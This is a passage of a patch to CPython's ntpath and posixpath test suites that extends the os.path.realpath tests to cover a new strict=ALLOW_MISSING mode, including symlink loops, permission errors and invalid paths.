++        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "1\\x",
++                            strict=ALLOW_MISSING)
++
++        # Windows eliminates '..' components before resolving links;
++        # realpath is not expected to raise if this removes the loop.
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\.."),
++                             ntpath.dirname(ABSTFN))
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\..\\x"),
++                             ntpath.dirname(ABSTFN) + "\\x")
++
++        os.symlink(ABSTFN + "x", ABSTFN + "y")
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\..\\"
++                                             + ntpath.basename(ABSTFN) + "y"),
++                             ABSTFN + "x")
++        self.assertRaises(
++            OSError, ntpath.realpath,
++            ABSTFN + "1\\..\\" + ntpath.basename(ABSTFN) + "1",
++            strict=ALLOW_MISSING)
++
++        os.symlink(ntpath.basename(ABSTFN) + "a\\b", ABSTFN + "a")
++        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "a",
++                            strict=ALLOW_MISSING)
++
++        os.symlink("..\\" + ntpath.basename(ntpath.dirname(ABSTFN))
++                + "\\" + ntpath.basename(ABSTFN) + "c", ABSTFN + "c")
++        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "c",
++                            strict=ALLOW_MISSING)
++
++        # Test using relative path as well.
++        self.assertRaises(OSError, ntpath.realpath, ntpath.basename(ABSTFN),
++                            strict=ALLOW_MISSING)
++
++    @os_helper.skip_unless_symlink
++    @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_symlink_prefix(self, kwargs):
+         ABSTFN = ntpath.abspath(os_helper.TESTFN)
+         self.addCleanup(os_helper.unlink, ABSTFN + "3")
+         self.addCleanup(os_helper.unlink, "\\\\?\\" + ABSTFN + "3.")
+@@ -738,9 +886,9 @@ def test_realpath_symlink_prefix(self):
+             f.write(b'1')
+         os.symlink("\\\\?\\" + ABSTFN + "3.", ABSTFN + "3.link")
+ 
+-        self.assertPathEqual(ntpath.realpath(ABSTFN + "3link"),
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "3link", **kwargs),
+                              ABSTFN + "3")
+-        self.assertPathEqual(ntpath.realpath(ABSTFN + "3.link"),
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "3.link", **kwargs),
+                              "\\\\?\\" + ABSTFN + "3.")
+ 
+         # Resolved paths should be usable to open target files
+@@ -750,14 +898,17 @@ def test_realpath_symlink_prefix(self):
+             self.assertEqual(f.read(), b'1')
+ 
+         # When the prefix is included, it is not stripped
+-        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3link"),
++        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3link", **kwargs),
+                              "\\\\?\\" + ABSTFN + "3")
+-        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3.link"),
++        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3.link", **kwargs),
+                              "\\\\?\\" + ABSTFN + "3.")
+ 
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+     def test_realpath_nul(self):
+         tester("ntpath.realpath('NUL')", r'\\.\NUL')
++        tester("ntpath.realpath('NUL', strict=False)", r'\\.\NUL')
++        tester("ntpath.realpath('NUL', strict=True)", r'\\.\NUL')
++        tester("ntpath.realpath('NUL', strict=ALLOW_MISSING)", r'\\.\NUL')
+ 
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+     @unittest.skipUnless(HAVE_GETSHORTPATHNAME, 'need _getshortpathname')
+@@ -781,12 +932,20 @@ def test_realpath_cwd(self):
+ 
+         self.assertPathEqual(test_file_long, ntpath.realpath(test_file_short))
+ 
+-        with os_helper.change_cwd(test_dir_long):
+-            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
+-        with os_helper.change_cwd(test_dir_long.lower()):
+-            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
+-        with os_helper.change_cwd(test_dir_short):
+-            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
++        for kwargs in {}, {'strict': True}, {'strict': ALLOW_MISSING}:
++            with self.subTest(**kwargs):
++                with os_helper.change_cwd(test_dir_long):
++                    self.assertPathEqual(
++                        test_file_long,
++                        ntpath.realpath("file.txt", **kwargs))
++                with os_helper.change_cwd(test_dir_long.lower()):
++                    self.assertPathEqual(
++                        test_file_long,
++                        ntpath.realpath("file.txt", **kwargs))
++                with os_helper.change_cwd(test_dir_short):
++                    self.assertPathEqual(
++                        test_file_long,
++                        ntpath.realpath("file.txt", **kwargs))
+ 
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+     def test_realpath_permission(self):
+@@ -807,12 +966,15 @@ def test_realpath_permission(self):
+         # Automatic generation of short names may be disabled on
+         # NTFS volumes for the sake of performance.
+         # They're not supported at all on ReFS and exFAT.
+-        subprocess.run(
++        p = subprocess.run(
+             # Try to set the short name manually.
+             ['fsutil.exe', 'file', 'setShortName', test_file, 'LONGFI~1.TXT'],
+             creationflags=subprocess.DETACHED_PROCESS
+         )
+ 
++        if p.returncode:
++            raise unittest.SkipTest('failed to set short name')
++
+         try:
+             self.assertPathEqual(test_file, ntpath.realpath(test_file_short))
+         except AssertionError:
+diff --git a/Lib/test/test_posixpath.py b/Lib/test/test_posixpath.py
+index f3f9895f529470..c45ce6d3ef7820 100644
+--- a/Lib/test/test_posixpath.py
++++ b/Lib/test/test_posixpath.py
+@@ -4,7 +4,8 @@
+ import random
+ import sys
+ import unittest
+-from posixpath import realpath, abspath, dirname, basename
++from functools import partial
++from posixpath import realpath, abspath, dirname, basename, ALLOW_MISSING
+ from test import support
+ from test import test_genericpath
+ from test.support import import_helper
+@@ -33,6 +34,27 @@ def skip_if_ABSTFN_contains_backslash(test):
+     msg = "ABSTFN is not a posix path - tests fail"
+     return [test, unittest.skip(msg)(test)][found_backslash]
+ 
++
++def _parameterize(*parameters):
++    """Simplistic decorator to parametrize a test
++
++    Runs the decorated test multiple times in subTest, with a value from
++    'parameters' passed as an extra positional argument.
++    Does *not* call doCleanups() after each run.
++
++    Not for general use. Intended to avoid indenting for easier backports.
++
++    See https://discuss.python.org/t/91827 for discussing generalizations.
++    """
++    def _parametrize_decorator(func):
++        def _parameterized(self, *args, **kwargs):
++            for parameter in parameters:
++                with self.subTest(parameter):
++                    func(self, *args, parameter, **kwargs)
++        return _parameterized
++    return _parametrize_decorator
++
++
+ class PosixPathTest(unittest.TestCase):
+ 
+     def setUp(self):
+@@ -442,32 +464,35 @@ def test_normpath(self):
+                 self.assertEqual(result, expected)
+ 
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_curdir(self):
+-        self.assertEqual(realpath('.'), os.getcwd())
+-        self.assertEqual(realpath('./.'), os.getcwd())
+-        self.assertEqual(realpath('/'.join(['.'] * 100)), os.getcwd())
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_curdir(self, kwargs):
++        self.assertEqual(realpath('.', **kwargs), os.getcwd())
++        self.assertEqual(realpath('./.', **kwargs), os.getcwd())
++        self.assertEqual(realpath('/'.join(['.'] * 100), **kwargs), os.getcwd())
+ 
+-        self.assertEqual(realpath(b'.'), os.getcwdb())
+-        self.assertEqual(realpath(b'./.'), os.getcwdb())
+-        self.assertEqual(realpath(b'/'.join([b'.'] * 100)), os.getcwdb())
++        self.assertEqual(realpath(b'.', **kwargs), os.getcwdb())
++        self.assertEqual(realpath(b'./.', **kwargs), os.getcwdb())
++        self.assertEqual(realpath(b'/'.join([b'.'] * 100), **kwargs), os.getcwdb())
+ 
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_pardir(self):
+-        self.assertEqual(realpath('..'), dirname(os.getcwd()))
+-        self.assertEqual(realpath('../..'), dirname(dirname(os.getcwd())))
+-        self.assertEqual(realpath('/'.join(['..'] * 100)), '/')
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_pardir(self, kwargs):
++        self.assertEqual(realpath('..', **kwargs), dirname(os.getcwd()))
++        self.assertEqual(realpath('../..', **kwargs), dirname(dirname(os.getcwd())))
++        self.assertEqual(realpath('/'.join(['..'] * 100), **kwargs), '/')
+ 
+-        self.assertEqual(realpath(b'..'), dirname(os.getcwdb()))
+-        self.assertEqual(realpath(b'../..'), dirname(dirname(os.getcwdb())))
+-        self.assertEqual(realpath(b'/'.join([b'..'] * 100)), b'/')
++        self.assertEqual(realpath(b'..', **kwargs), dirname(os.getcwdb()))
++        self.assertEqual(realpath(b'../..', **kwargs), dirname(dirname(os.getcwdb())))
++        self.assertEqual(realpath(b'/'.join([b'..'] * 100), **kwargs), b'/')
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_basic(self):
++    @_parameterize({}, {'strict': ALLOW_MISSING})
++    def test_realpath_basic(self, kwargs):
+         # Basic operation.
+         try:
+             os.symlink(ABSTFN+"1", ABSTFN)
+-            self.assertEqual(realpath(ABSTFN), ABSTFN+"1")
++            self.assertEqual(realpath(ABSTFN, **kwargs), ABSTFN+"1")
+         finally:
+             os_helper.unlink(ABSTFN)
+ 
+@@ -487,90 +512,115 @@ def test_realpath_invalid_paths(self):
+         path = '/\x00'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(ValueError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = b'/\x00'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(ValueError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = '/nonexistent/x\x00'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = b'/nonexistent/x\x00'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = '/\x00/..'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(ValueError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = b'/\x00/..'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(ValueError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
++
+         path = '/nonexistent/x\x00/..'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+         path = b'/nonexistent/x\x00/..'
+         self.assertRaises(ValueError, realpath, path, strict=False)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
+ 
+         path = '/\udfff'
+         if sys.platform == 'win32':
+             self.assertEqual(realpath(path, strict=False), path)
+             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++            self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
+         else:
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=True)
++            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
+         path = '/nonexistent/\udfff'
+         if sys.platform == 'win32':
+             self.assertEqual(realpath(path, strict=False), path)
++            self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
+         else:
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
++            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
+         path = '/\udfff/..'
+         if sys.platform == 'win32':
+             self.assertEqual(realpath(path, strict=False), '/')
+             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++            self.assertEqual(realpath(path, strict=ALLOW_MISSING), '/')
+         else:
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=True)
++            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
+         path = '/nonexistent/\udfff/..'
+         if sys.platform == 'win32':
+             self.assertEqual(realpath(path, strict=False), '/nonexistent')
++            self.assertEqual(realpath(path, strict=ALLOW_MISSING), '/nonexistent')
+         else:
+             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
++            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
+         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
+ 
+         path = b'/\xff'
+         if sys.platform == 'win32':
+             self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
+             self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
++            self.assertRaises(UnicodeDecodeError, realpath, path, strict=ALLOW_MISSING)
+         else:
+             self.assertEqual(realpath(path, strict=False), path)
+             if support.is_wasi:
+                 self.assertRaises(OSError, realpath, path, strict=True)
++                self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+             else:
+                 self.assertRaises(FileNotFoundError, realpath, path, strict=True)
++                self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
+         path = b'/nonexistent/\xff'
+         if sys.platform == 'win32':
+             self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
++            self.assertRaises(UnicodeDecodeError, realpath, path, strict=ALLOW_MISSING)
+         else:
+             self.assertEqual(realpath(path, strict=False), path)
+         if support.is_wasi:
+             self.assertRaises(OSError, realpath, path, strict=True)
++            self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+         else:
+             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_relative(self):
++    @_parameterize({}, {'strict': ALLOW_MISSING})
++    def test_realpath_relative(self, kwargs):
+         try:
+             os.symlink(posixpath.relpath(ABSTFN+"1"), ABSTFN)
+-            self.assertEqual(realpath(ABSTFN), ABSTFN+"1")
++            self.assertEqual(realpath(ABSTFN, **kwargs), ABSTFN+"1")
+         finally:
+             os_helper.unlink(ABSTFN)
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_missing_pardir(self):
++    @_parameterize({}, {'strict': ALLOW_MISSING})
++    def test_realpath_missing_pardir(self, kwargs):
+         try:
+             os.symlink(TESTFN + "1", TESTFN)
+-            self.assertEqual(realpath("nonexistent/../" + TESTFN), ABSTFN + "1")
++            self.assertEqual(
++                realpath("nonexistent/../" + TESTFN, **kwargs), ABSTFN + "1")
+         finally:
+             os_helper.unlink(TESTFN)
+ 
+@@ -617,37 +667,38 @@ def test_realpath_symlink_loops(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_symlink_loops_strict(self):
++    @_parameterize({'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_symlink_loops_strict(self, kwargs):
+         # Bug #43757, raise OSError if we get into an infinite symlink loop in
+-        # strict mode.
++        # the strict modes.
+         try:
+             os.symlink(ABSTFN, ABSTFN)
+-            self.assertRaises(OSError, realpath, ABSTFN, strict=True)
++            self.assertRaises(OSError, realpath, ABSTFN, **kwargs)
+ 
+             os.symlink(ABSTFN+"1", ABSTFN+"2")
+             os.symlink(ABSTFN+"2", ABSTFN+"1")
+-            self.assertRaises(OSError, realpath, ABSTFN+"1", strict=True)
+-            self.assertRaises(OSError, realpath, ABSTFN+"2", strict=True)
++            self.assertRaises(OSError, realpath, ABSTFN+"1", **kwargs)
++            self.assertRaises(OSError, realpath, ABSTFN+"2", **kwargs)
+ 
+-            self.assertRaises(OSError, realpath, ABSTFN+"1/x", strict=True)
+-            self.assertRaises(OSError, realpath, ABSTFN+"1/..", strict=True)
+-            self.assertRaises(OSError, realpath, ABSTFN+"1/../x", strict=True)
++            self.assertRaises(OSError, realpath, ABSTFN+"1/x", **kwargs)
++            self.assertRaises(OSError, realpath, ABSTFN+"1/..", **kwargs)
++            self.assertRaises(OSError, realpath, ABSTFN+"1/../x", **kwargs)
+             os.symlink(ABSTFN+"x", ABSTFN+"y")
+             self.assertRaises(OSError, realpath,
+-                              ABSTFN+"1/../" + basename(ABSTFN) + "y", strict=True)
++                              ABSTFN+"1/../" + basename(ABSTFN) + "y", **kwargs)
+             self.assertRaises(OSError, realpath,
+-                              ABSTFN+"1/../" + basename(ABSTFN) + "1", strict=True)
++                              ABSTFN+"1/../" + basename(ABSTFN) + "1", **kwargs)
+ 
+             os.symlink(basename(ABSTFN) + "a/b", ABSTFN+"a")
+-            self.assertRaises(OSError, realpath, ABSTFN+"a", strict=True)
++            self.assertRaises(OSError, realpath, ABSTFN+"a", **kwargs)
+ 
+             os.symlink("../" + basename(dirname(ABSTFN)) + "/" +
+                        basename(ABSTFN) + "c", ABSTFN+"c")
+-            self.assertRaises(OSError, realpath, ABSTFN+"c", strict=True)
++            self.assertRaises(OSError, realpath, ABSTFN+"c", **kwargs)
+ 
+             # Test using relative path as well.
+             with os_helper.change_cwd(dirname(ABSTFN)):
+-                self.assertRaises(OSError, realpath, basename(ABSTFN), strict=True)
++                self.assertRaises(OSError, realpath, basename(ABSTFN), **kwargs)
+         finally:
+             os_helper.unlink(ABSTFN)
+             os_helper.unlink(ABSTFN+"1")
+@@ -658,13 +709,14 @@ def test_realpath_symlink_loops_strict(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_repeated_indirect_symlinks(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_repeated_indirect_symlinks(self, kwargs):
+         # Issue #6975.
+         try:
+             os.mkdir(ABSTFN)
+             os.symlink('../' + basename(ABSTFN), ABSTFN + '/self')
+             os.symlink('self/self/self', ABSTFN + '/link')
+-            self.assertEqual(realpath(ABSTFN + '/link'), ABSTFN)
++            self.assertEqual(realpath(ABSTFN + '/link', **kwargs), ABSTFN)
+         finally:
+             os_helper.unlink(ABSTFN + '/self')
+             os_helper.unlink(ABSTFN + '/link')
+@@ -672,14 +724,15 @@ def test_realpath_repeated_indirect_symlinks(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_deep_recursion(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_deep_recursion(self, kwargs):
+         depth = 10
+         try:
+             os.mkdir(ABSTFN)
+             for i in range(depth):
+                 os.symlink('/'.join(['%d' % i] * 10), ABSTFN + '/%d' % (i + 1))
+             os.symlink('.', ABSTFN + '/0')
+-            self.assertEqual(realpath(ABSTFN + '/%d' % depth), ABSTFN)
++            self.assertEqual(realpath(ABSTFN + '/%d' % depth, **kwargs), ABSTFN)
+ 
+             # Test using relative path as well.
+             with os_helper.change_cwd(ABSTFN):
+@@ -691,7 +744,8 @@ def test_realpath_deep_recursion(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_resolve_parents(self):
++    @_parameterize({}, {'strict': ALLOW_MISSING})
++    def test_realpath_resolve_parents(self, kwargs):
+         # We also need to resolve any symlinks in the parents of a relative
+         # path passed to realpath. E.g.: current working directory is
+         # /usr/doc with 'doc' being a symlink to /usr/share/doc. We call
+@@ -702,7 +756,8 @@ def test_realpath_resolve_parents(self):
+             os.symlink(ABSTFN + "/y", ABSTFN + "/k")
+ 
+             with os_helper.change_cwd(ABSTFN + "/k"):
+-                self.assertEqual(realpath("a"), ABSTFN + "/y/a")
++                self.assertEqual(realpath("a", **kwargs),
++                                    ABSTFN + "/y/a")
+         finally:
+             os_helper.unlink(ABSTFN + "/k")
+             os_helper.rmdir(ABSTFN + "/y")
+@@ -710,7 +765,8 @@ def test_realpath_resolve_parents(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_resolve_before_normalizing(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_resolve_before_normalizing(self, kwargs):
+         # Bug #990669: Symbolic links should be resolved before we
+         # normalize the path. E.g.: if we have directories 'a', 'k' and 'y'
+         # in the following hierarchy:
+@@ -725,10 +781,10 @@ def test_realpath_resolve_before_normalizing(self):
+             os.symlink(ABSTFN + "/k/y", ABSTFN + "/link-y")
+ 
+             # Absolute path.
+-            self.assertEqual(realpath(ABSTFN + "/link-y/.."), ABSTFN + "/k")
++            self.assertEqual(realpath(ABSTFN + "/link-y/..", **kwargs), ABSTFN + "/k")
+             # Relative path.
+             with os_helper.change_cwd(dirname(ABSTFN)):
+-                self.assertEqual(realpath(basename(ABSTFN) + "/link-y/.."),
++                self.assertEqual(realpath(basename(ABSTFN) + "/link-y/..", **kwargs),
+                                  ABSTFN + "/k")
+         finally:
+             os_helper.unlink(ABSTFN + "/link-y")
+@@ -738,7 +794,8 @@ def test_realpath_resolve_before_normalizing(self):
+ 
+     @os_helper.skip_unless_symlink
+     @skip_if_ABSTFN_contains_backslash
+-    def test_realpath_resolve_first(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_resolve_first(self, kwargs):
+         # Bug #1213894: The first component of the path, if not absolute,
+         # must be resolved too.
+ 
+@@ -748,8 +805,8 @@ def test_realpath_resolve_first(self):
+             os.symlink(ABSTFN, ABSTFN + "link")
+             with os_helper.change_cwd(dirname(ABSTFN)):
+                 base = basename(ABSTFN)
+-                self.assertEqual(realpath(base + "link"), ABSTFN)
+-                self.assertEqual(realpath(base + "link/k"), ABSTFN + "/k")
++                self.assertEqual(realpath(base + "link", **kwargs), ABSTFN)
++                self.assertEqual(realpath(base + "link/k", **kwargs), ABSTFN + "/k")
+         finally:
+             os_helper.unlink(ABSTFN + "link")
+             os_helper.rmdir(ABSTFN + "/k")
+@@ -767,12 +824,67 @@ def test_realpath_unreadable_symlink(self):
+             self.assertEqual(realpath(ABSTFN + '/foo'), ABSTFN + '/foo')
+             self.assertEqual(realpath(ABSTFN + '/../foo'), dirname(ABSTFN) + '/foo')
+             self.assertEqual(realpath(ABSTFN + '/foo/..'), ABSTFN)
+-            with self.assertRaises(PermissionError):
+-                realpath(ABSTFN, strict=True)
+         finally:
+             os.chmod(ABSTFN, 0o755, follow_symlinks=False)
+             os_helper.unlink(ABSTFN)
+ 
++    @os_helper.skip_unless_symlink
++    @skip_if_ABSTFN_contains_backslash
++    @unittest.skipIf(os.chmod not in os.supports_follow_symlinks, "Can't set symlink permissions")
++    @unittest.skipIf(sys.platform != "darwin", "only macOS requires read permission to readlink()")
++    @_parameterize({'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_unreadable_symlink_strict(self, kwargs):
++        try:
++            os.symlink(ABSTFN+"1", ABSTFN)
++            os.chmod(ABSTFN, 0o000, follow_symlinks=False)
++            with self.assertRaises(PermissionError):
++                realpath(ABSTFN, **kwargs)
++            with self.assertRaises(PermissionError):
++                realpath(ABSTFN + '/foo', **kwargs),
++            with self.assertRaises(PermissionError):
++                realpath(ABSTFN + '/../foo', **kwargs)
++            with self.assertRaises(PermissionError):
++                realpath(ABSTFN + '/foo/..', **kwargs)
++        finally:
++            os.chmod(ABSTFN, 0o755, follow_symlinks=False)
++            os.unlink(ABSTFN)
++
++    @skip_if_ABSTFN_contains_backslash
++    @os_helper.skip_unless_symlink
++    def test_realpath_unreadable_directory(self):
++        try:
++            os.mkdir(ABSTFN)
++            os.mkdir(ABSTFN + '/k')
++            os.chmod(ABSTFN, 0o000)
++            self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN)
++            self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN)
++            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN)
++
++            try:
++                os.stat(ABSTFN)
++            except PermissionError:
++                pass
++            else:
++                self.skipTest('Cannot block permissions')
++
++            self.assertEqual(realpath(ABSTFN + '/k', strict=False),
++                             ABSTFN + '/k')
++            self.assertRaises(PermissionError, realpath, ABSTFN + '/k',
++                              strict=True)
++            self.assertRaises(PermissionError, realpath, ABSTFN + '/k',
++                              strict=ALLOW_MISSING)
++
++            self.assertEqual(realpath(ABSTFN + '/missing', strict=False),
++                             ABSTFN + '/missing')
++            self.assertRaises(PermissionError, realpath, ABSTFN + '/missing',
++                              strict=True)
++            self.assertRaises(PermissionError, realpath, ABSTFN + '/missing',
++                              strict=ALLOW_MISSING)
++        finally:
++            os.chmod(ABSTFN, 0o755)
++            os_helper.rmdir(ABSTFN + '/k')
++            os_helper.rmdir(ABSTFN)
++
+     @skip_if_ABSTFN_contains_backslash
+     def test_realpath_nonterminal_file(self):
+         try:
+@@ -780,14 +892,27 @@ def test_realpath_nonterminal_file(self):
+                 f.write('test_posixpath wuz ere')
+             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN)
+             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN)
++            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN)
++
+             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN)
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN)
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "/subdir")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
++                              strict=ALLOW_MISSING)
+         finally:
+             os_helper.unlink(ABSTFN)
+ 
+@@ -800,14 +925,27 @@ def test_realpath_nonterminal_symlink_to_file(self):
+             os.symlink(ABSTFN + "1", ABSTFN)
+             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN + "1")
+             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "1")
++            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN + "1")
++
+             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN + "1")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN + "1")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "1/subdir")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
++                              strict=ALLOW_MISSING)
+         finally:
+             os_helper.unlink(ABSTFN)
+             os_helper.unlink(ABSTFN + "1")
+@@ -822,14 +960,27 @@ def test_realpath_nonterminal_symlink_to_symlinks_to_file(self):
+             os.symlink(ABSTFN + "1", ABSTFN)
+             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN + "2")
+             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "2")
++            self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "2")
++
+             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN + "2")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN + "2")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
++                              strict=ALLOW_MISSING)
++
+             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "2/subdir")
+             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
++            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
++                              strict=ALLOW_MISSING)
+         finally:
+             os_helper.unlink(ABSTFN)
+             os_helper.unlink(ABSTFN + "1")
+@@ -1017,9 +1168,12 @@ def test_path_normpath(self):
+     def test_path_abspath(self):
+         self.assertPathEqual(self.path.abspath)
+ 
